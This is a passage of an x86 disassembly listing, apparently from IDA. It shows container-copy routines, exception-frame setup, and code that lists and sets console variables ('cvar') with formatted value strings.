[esp+10h+arg_4], eax push ecx push edi push eax mov ecx, esi call sub_402176 mov edx, [esp+10h+arg_4] mov ecx, [esi+8] lea eax, [edx+edi*4] mov edx, [esp+10h+arg_0] push eax push ecx push edx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_4019A6 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_4011EF ; --------------------------------------------------------------------------- lea eax, [ebp+ebx*4+0] mov ecx, esi mov [esi+0Ch], eax call sub_4011F9 add eax, edi mov [esi+4], ebp pop edi lea ecx, [ebp+eax*4+0] mov [esi+8], ecx pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AABB: ; CODE XREF: sub_40A9F0+17j mov ebx, [esp+10h+arg_0] mov edx, eax sub edx, ebx sar edx, 2 cmp edx, edi jnb short loc_40AB19 lea ebp, ds:0[edi*4] lea ecx, [ebx+ebp] push ecx push eax push ebx mov ecx, esi call sub_4010CD mov eax, [esi+8] mov edx, [esp+10h+arg_8] mov ecx, eax push edx sub ecx, ebx sar ecx, 2 sub edi, ecx mov ecx, esi push edi push eax call sub_402176 mov edx, [esp+10h+arg_8] mov eax, [esi+8] push edx push eax push ebx call sub_401E6F mov eax, [esi+8] add esp, 0Ch add eax, ebp mov [esi+8], eax pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AB19: ; CODE XREF: sub_40A9F0+D8j test edi, edi jbe short loc_40AB53 shl edi, 2 push eax push eax sub eax, edi mov ecx, esi push eax call sub_4010CD mov eax, [esi+8] push eax sub eax, edi push eax push ebx call sub_4020AE mov ecx, [esp+1Ch+arg_8] lea edx, [edi+ebx] push ecx push edx push ebx call sub_401E6F mov eax, [esi+8] add esp, 18h add eax, edi mov [esi+8], eax loc_40AB53: ; CODE XREF: sub_40A9F0+12Bj pop edi pop esi pop ebp pop ebx retn 0Ch sub_40A9F0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABC0 proc near ; CODE XREF: sub_4018B1j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_1 pop ecx retn 4 sub_40ABC0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ABE0 proc near ; CODE XREF: sub_4010CDj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_4] push esi mov esi, [esp+0Ch+arg_0] mov ebx, ecx cmp esi, ebp jz short loc_40AC12 push edi mov edi, [esp+10h+arg_8] loc_40ABF6: ; CODE XREF: sub_40ABE0+27j push esi push edi mov ecx, ebx call sub_402121 add esi, 4 add edi, 4 cmp esi, ebp jnz short loc_40ABF6 mov eax, edi pop edi pop esi pop ebp pop ebx retn 0Ch ; --------------------------------------------------------------------------- loc_40AC12: ; CODE XREF: sub_40ABE0+Fj mov eax, [esp+0Ch+arg_8] pop esi pop ebp pop ebx retn 0Ch sub_40ABE0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AC30 proc near ; CODE XREF: sub_402176j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebp push edi mov edi, [esp+8+arg_4] mov ebp, ecx test edi, edi jbe short loc_40AC57 push ebx mov ebx, [esp+0Ch+arg_8] push esi mov esi, [esp+10h+arg_0] loc_40AC46: ; CODE XREF: sub_40AC30+23j push ebx push esi mov ecx, ebp call sub_402121 add esi, 4 dec edi jnz short loc_40AC46 pop esi pop ebx loc_40AC57: ; CODE XREF: sub_40AC30+Aj pop edi pop ebp retn 0Ch sub_40AC30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AC70 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_4014CE sub_40AC70 endp ; --------------------------------------------------------------------------- add esp, 8 retn 8 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACA0 proc near ; CODE XREF: sub_402121j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401DE8 add esp, 8 retn 8 sub_40ACA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ACD0 proc near ; CODE XREF: sub_401E6Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jz short locret_40ACED mov edx, [esp+arg_8] push esi loc_40ACE1: ; CODE XREF: sub_40ACD0+1Aj mov esi, [edx] mov [eax], esi add eax, 4 cmp eax, ecx jnz short loc_40ACE1 pop esi locret_40ACED: ; CODE XREF: sub_40ACD0+Aj retn sub_40ACD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD00 proc near ; CODE XREF: sub_4020AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] mov ecx, [esp+arg_4] cmp edx, ecx jz short loc_40AD22 mov eax, [esp+arg_8] push esi loc_40AD11: ; CODE XREF: sub_40AD00+1Ej mov esi, [ecx-4] sub ecx, 4 sub eax, 4 cmp ecx, edx mov [eax], esi jnz short loc_40AD11 pop esi retn ; --------------------------------------------------------------------------- loc_40AD22: ; CODE XREF: sub_40AD00+Aj mov eax, [esp+arg_8] retn sub_40AD00 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40AD60 proc near ; CODE XREF: sub_4014CEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40AD6A xor eax, eax loc_40AD6A: ; CODE XREF: sub_40AD60+6j shl eax, 2 push eax call sub_4367FA sub_40AD60 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AD90 proc near ; CODE XREF: sub_401DE8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40ADAB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40ADAB: ; CODE XREF: sub_40AD90+11j retn sub_40AD90 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ADC0 proc near ; CODE XREF: sub_401E6Aj mov eax, ecx mov dword ptr [eax], offset off_43E014 retn sub_40ADC0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40ADE0: ; CODE XREF: ___:00401717j ; ___:loc_402027j push esi mov esi, ecx call sub_402031 test byte ptr [esp+8], 1 jz short loc_40ADF8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_40ADF8: ; CODE XREF: ___:0040ADEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE10 proc near ; CODE XREF: sub_402031j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AE10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi push edi mov dword ptr [ecx], offset off_43E014 mov [ebp+var_10], esp mov [ebp+var_4], 0 call sub_401744 loc_40AE41: ; DATA XREF: sub_40AE52o mov ecx, [ebp+var_C] pop edi pop esi mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AE10 endp ; =============== S U B R O U T I N E ======================================= sub_40AE52 proc near ; DATA XREF: ___:0043F1BCo mov eax, offset loc_40AE41 retn sub_40AE52 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AE80 proc near ; CODE XREF: sub_4014BAj call sub_401708 jmp sub_4017B2 sub_40AE80 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEA0 proc near ; CODE XREF: sub_401B18j call sub_40161D jmp sub_4017C1 sub_40AEA0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AEC0 proc near ; CODE XREF: sub_4013D4j push esi mov esi, ecx push esi push offset sub_40141F lea eax, [esi+0Ch] push 0 push eax call sub_40123A add esp, 10h test eax, eax jnz short loc_40AEE2 mov al, 1 mov [esi+10h], al pop esi retn ; --------------------------------------------------------------------------- loc_40AEE2: ; CODE XREF: sub_40AEC0+19j mov byte ptr [esi+10h], 0 xor al, al pop esi retn sub_40AEC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF00: ; CODE XREF: ___:004011C2j push ecx push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF27 mov ecx, [esi+0Ch] lea eax, [esp+4] push eax push ecx call sub_40175D mov eax, [esp+0Ch] add esp, 8 mov byte ptr [esi+10h], 0 pop esi pop ecx retn ; --------------------------------------------------------------------------- loc_40AF27: ; CODE XREF: ___:0040AF09j xor eax, eax pop esi pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40AF40 proc near ; CODE XREF: sub_401744j push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40AF5C mov eax, [esi+0Ch] push 0Fh push eax call sub_401758 add esp, 8 mov byte ptr [esi+10h], 0 loc_40AF5C: ; CODE XREF: sub_40AF40+8j pop esi retn sub_40AF40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40AF70: ; CODE XREF: ___:004011F4j mov eax, [ecx+0Ch] retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AF90 proc near ; CODE XREF: sub_40141Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_40AF90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov eax, [ecx] mov [ebp+var_10], esp mov [ebp+var_4], 0 call dword ptr [eax+4] loc_40AFBE: ; DATA XREF: sub_40AFD1o mov ecx, [ebp+var_C] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn sub_40AF90 endp ; =============== S U B R O U T I N E ======================================= sub_40AFD1 proc near ; DATA XREF: ___:0043F21Co mov eax, offset loc_40AFBE retn sub_40AFD1 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B000 proc near ; CODE XREF: sub_401028j var_8 = dword ptr -8 var_4 = byte ptr -4 sub esp, 8 push esi mov esi, ecx mov al, [esi+10h] test al, al jz short loc_40B042 mov edx, [esi+0Ch] lea eax, [esp+0Ch+var_8] lea ecx, [esp+0Ch+var_4] push eax push ecx push edx call sub_40218F mov edx, [esi+0Ch] mov eax, [esp+18h+var_8] lea ecx, [esp+18h+var_8] mov [esi+8], eax push ecx push 1 push edx mov [esp+24h+var_8], 0 call sub_401050 add esp, 18h loc_40B042: ; CODE XREF: sub_40B000+Bj pop esi add esp, 8 retn sub_40B000 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B070 proc near ; CODE XREF: sub_401DCAj var_4 = dword ptr -4 push ecx mov al, [ecx+10h] test al, al jz short loc_40B092 mov eax, [ecx+8] lea edx, [esp+4+var_4] mov [esp+4+var_4], eax mov eax, [ecx+0Ch] push edx push 1 push eax call sub_401050 add esp, 0Ch loc_40B092: ; CODE XREF: sub_40B070+6j pop ecx retn sub_40B070 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B0B0 proc near ; CODE XREF: sub_4019F1j var_11 = byte ptr -11h var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B0B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea ecx, [esi+32h] mov [esp+1Ch+var_4], 0 call sub_401749 lea ecx, [esi+60h] mov byte ptr [esp+1Ch+var_4], 1 call sub_401749 lea edi, [esi+8Eh] lea eax, [esp+1Ch+var_11] push eax mov ecx, edi mov byte ptr [esp+20h+var_4], 2 call sub_401BF4 sub_40B0B0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 3 mov dword ptr [esi], offset off_43E020 call sub_401BEF mov ecx, [esp+10h] mov eax, esi pop edi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B170 proc near ; CODE XREF: sub_401AE6j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B170 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push edi mov [esp+18h+var_10], esi mov dword ptr [esi], offset off_43E020 lea edi, [esi+8Eh] mov [esp+18h+var_4], 3 mov ecx, edi call sub_401BEF mov ecx, edi mov byte ptr [esp+18h+var_4], 2 call sub_401555 sub_40B170 endp ; --------------------------------------------------------------------------- lea ecx, [esi+60h] mov byte ptr [esp+14h], 1 call sub_401023 lea ecx, [esi+32h] mov byte ptr [esp+14h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+14h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+0Ch] pop edi pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B210 proc near ; CODE XREF: sub_4017EEj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi mov esi, ecx lea ecx, [esi+8Eh] call sub_401BEF push 0 push 14h push 13h push 9 push 0Ch push 4Eh push 12h push 1 push 16h lea eax, [esp+64h+var_3C] push 3 push eax call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_40B210 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 7 push 4Fh push 12h push 1 push 16h lea edx, [esp+24h] push 3 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 push 13h push 4Eh push 12h push 1 push 16h lea ecx, [esp+3Ch] push 3 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+40h], 2 call sub_4017E4 add esi, 60h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- mov dword ptr [esp+3Ch], 0FFFFFFFFh lea ecx, [esp+1Ch] call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B390 proc near ; CODE XREF: sub_40180Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = byte ptr 14h arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch mov eax, [esp+arg_4] push esi mov esi, ecx push edi mov ecx, [esp+8+arg_0] push eax add ecx, 1Eh call sub_401FBE mov eax, [esp+8+arg_0] mov edx, [esp+8+arg_C] push edx lea ecx, [eax+33h] call sub_401FBE mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_10] mov edi, [esp+8+arg_8] mov [ecx+48h], dl mov eax, [esp+8+arg_0] push edi push eax mov ecx, esi call sub_401F32 mov ecx, [esp+8+arg_0] mov dl, [esp+8+arg_14] push edi mov [ecx+4], dl mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_18] mov [eax+5], ecx mov ecx, [esp+0Ch+arg_0] call sub_401FBE lea edx, [esp+8+arg_0] lea ecx, [esi+8Eh] push edx call sub_401906 sub_40B390 endp ; --------------------------------------------------------------------------- pop edi pop esi retn 1Ch ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40B430 proc near ; CODE XREF: sub_401B5Ej var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_40B430 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h mov eax, [esp+54h+arg_C] push ebp push esi mov esi, ecx push edi push eax lea ecx, [esp+64h+var_24] call sub_401861 mov edi, eax mov ecx, [esp+60h+arg_8] mov [esp+60h+var_4], 0 push ecx lea ecx, [esp+64h+var_3C] call sub_401861 mov ebp, eax mov edx, [esp+60h+arg_4] lea ecx, [esp+60h+var_54] push edx mov byte ptr [esp+64h+var_4], 1 call sub_401861 mov ecx, [esp+60h+arg_18] mov edx, [esp+60h+arg_14] push ecx mov ecx, [esp+64h+arg_10] push edx mov edx, [esp+68h+arg_0] push ecx push edi push ebp push eax push edx mov ecx, esi mov byte ptr [esp+7Ch+var_4], 2 call sub_40180C sub_40B430 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov byte ptr [esp+5Ch], 1 call sub_401226 lea ecx, [esp+24h] mov byte ptr [esp+5Ch], 0 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+5Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+54h] pop edi pop esi pop ebp mov large fs:0, ecx add esp, 54h retn 1Ch ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B520 proc near ; CODE XREF: sub_4019CEj var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_40153C add esi, 8Eh lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401451 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jz short loc_40B5A1 mov edi, [esp+10h+arg_0] loc_40B566: ; CODE XREF: sub_40B520+7Fj push edi lea ecx, [esp+14h+var_8] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4021AD test eax, eax lea ecx, [esp+10h+var_8] jz short loc_40B5AB call sub_40133E lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_401C71 push eax lea ecx, [esp+14h+var_8] call sub_40136B test al, al jnz short loc_40B566 loc_40B5A1: ; CODE XREF: sub_40B520+40j pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_40B5AB: ; CODE XREF: sub_40B520+60j call sub_401F5A mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_40B520 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B5F0: ; CODE XREF: ___:00401456j push 0FFFFFFFFh push offset loc_438BF8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h mov eax, [esp+28h] push esi mov esi, ecx push eax lea ecx, [esp+8] call sub_401861 mov ecx, [esp+30h] mov dword ptr [esp+24h], 0 push ecx push eax mov ecx, esi call sub_4019CE lea ecx, [esp+4] mov esi, eax mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 24h retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B680 proc near ; CODE XREF: sub_401596j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4015D7 mov ecx, esi call sub_4017E4 push eax call near ptr 77C1CF90h nop fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B6D1 mov byte ptr [esi+19h], 1 loc_40B6D1: ; CODE XREF: sub_40B680+4Bj pop esi retn 8 sub_40B680 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40B700 proc near ; CODE XREF: sub_401F32j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] mov ecx, esi mov eax, [edi+9] push eax call sub_4015D7 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1CF90h fstp dword ptr [esi+15h] add esp, 4 mov ecx, esi call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 mov ecx, esi mov [esi+1Ah], eax mov byte ptr [esi+19h], 0 push offset aTrue ; "true" call sub_4012EE test eax, eax jnz short loc_40B755 mov byte ptr [esi+19h], 1 loc_40B755: ; CODE XREF: sub_40B700+4Fj mov cl, [edi+4] mov [esi+4], cl mov edx, [edi+5] mov [esi+5], edx pop edi pop esi retn 8 sub_40B700 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B790: ; CODE XREF: ___:00401D43j fld dword ptr [esp+8] push esi mov esi, [esp+8] sub esp, 8 fstp qword ptr [esp] push offset aF ; "%f" push esi call sub_40102D mov eax, [esp+1Ch] add esp, 10h mov ecx, esi mov [esi+15h], eax call sub_4017E4 push eax nop call near ptr 77C1BF18h fld dword ptr [esp+10h] fcomp flt_43E024 mov [esi+1Ah], eax add esp, 4 mov byte ptr [esi+19h], 0 fnstsw ax test ah, 1 jnz short loc_40B7E1 mov byte ptr [esi+19h], 1 loc_40B7E1: ; CODE XREF: ___:0040B7DBj pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B810: ; CODE XREF: ___:00401C94j push ebx mov bl, [esp+0Ch] test bl, bl push esi jz short loc_40B840 mov esi, [esp+0Ch] push offset aTrue ; "true" mov ecx, esi call sub_4015D7 mov dword ptr [esi+15h], 3F800000h mov dword ptr [esi+1Ah], 1 mov [esi+19h], bl pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- loc_40B840: ; CODE XREF: ___:0040B818j mov esi, [esp+0Ch] push offset aFalse ; "false" mov ecx, esi call sub_4015D7 xor eax, eax mov [esi+19h], bl mov [esi+15h], eax mov [esi+1Ah], eax pop esi pop ebx retn 8 ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B880: ; CODE XREF: ___:00401D6Bj push esi mov esi, [esp+8] push edi mov edi, [esp+10h] push edi push offset dword_4437F4 push esi call sub_40102D fild dword ptr [esp+1Ch] add esp, 0Ch cmp edi, 1 mov [esi+1Ah], edi mov byte ptr [esi+19h], 0 fstp dword ptr [esi+15h] jl short loc_40B8B0 mov byte ptr [esi+19h], 1 loc_40B8B0: ; CODE XREF: ___:0040B8AAj pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40B8D0: ; CODE XREF: ___:loc_401ACDj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_438C30 push eax mov large fs:0, esp sub esp, 4Ch push ebx push ebp push esi mov esi, [esp+68h] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+4] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BA12 lea ebx, [esi+69h] mov ecx, ebx call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aCvar ; "(cvar)" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+6Ch] call sub_40153C add ebp, 8Eh lea edx, [esp+10h] push edx mov ecx, ebp xor edi, edi call sub_401451 mov eax, [eax] lea ecx, [esp+10h] push ecx mov ecx, ebp mov [esp+70h], eax call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jz loc_40BA0B loc_40B976: ; CODE XREF: ___:0040BA05j lea ecx, [esp+6Ch] inc edi call sub_401F5A mov ecx, [eax] add ecx, 33h call sub_4017E4 push eax lea ecx, [esp+70h] call sub_401F5A mov ecx, [eax] call sub_4017E4 push eax lea ecx, [esp+74h] call sub_401F5A mov ecx, [eax] add ecx, 1Eh call sub_4017E4 push eax push edi push offset aDSSS ; "[%d] \"%s\" = \"%s\" (\"%s\")" mov ecx, ebx call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60A5 call sub_401848 add esp, 24h push 5DCh call near ptr 2830000h nop lea ecx, [esp+6Ch] call sub_40133E lea ecx, [esp+10h] push ecx mov ecx, ebp call sub_401C71 push eax lea ecx, [esp+70h] call sub_40136B test al, al jnz loc_40B976 loc_40BA0B: ; CODE XREF: ___:0040B970j mov al, 1 jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BA12: ; CODE XREF: ___:0040B907j lea ecx, [ebp+32h] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_40BAA5 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 0 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSS_5 ; "%s = \"%s\"" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60A5 call sub_401848 add esp, 1Ch jmp loc_40BB9A ; --------------------------------------------------------------------------- loc_40BAA5: ; CODE XREF: ___:0040BA24j lea ecx, [ebp+60h] call sub_4014D3 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_40BB98 push offset asc_443600 ; " " lea edx, [esp+30h] push 1 push edx mov ecx, esi call sub_4016AE push 1 push eax mov ecx, ebp mov dword ptr [esp+6Ch], 1 call sub_4019CE lea ecx, [esp+2Ch] mov edi, eax mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 test edi, edi jz loc_40BB98 push edi lea ecx, [esp+18h] call sub_4014C9 mov ebx, 2 push 1 push offset asc_443600 ; " " lea eax, [esp+4Ch] push ebx push eax mov ecx, esi mov [esp+74h], ebx call sub_4011EA push eax push edi mov ecx, ebp mov byte ptr [esp+6Ch], 3 call sub_401F32 lea ecx, [esp+44h] mov [esp+64h], bl call sub_401226 lea ecx, [esp+14h] call sub_4017E4 push eax mov ecx, edi call sub_4017E4 push eax lea ecx, [edi+1Eh] call sub_4017E4 push eax push offset aSSWasS ; "%s = \"%s\" [was \"%s\"]" lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60A5 call sub_401848 add esp, 20h lea ecx, [esp+14h] mov dword ptr [esp+64h], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB98: ; CODE XREF: ___:0040BA60j ; ___:0040BAB7j ... xor al, al loc_40BB9A: ; CODE XREF: ___:0040BA0Dj ; ___:0040BAA0j ... mov ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx 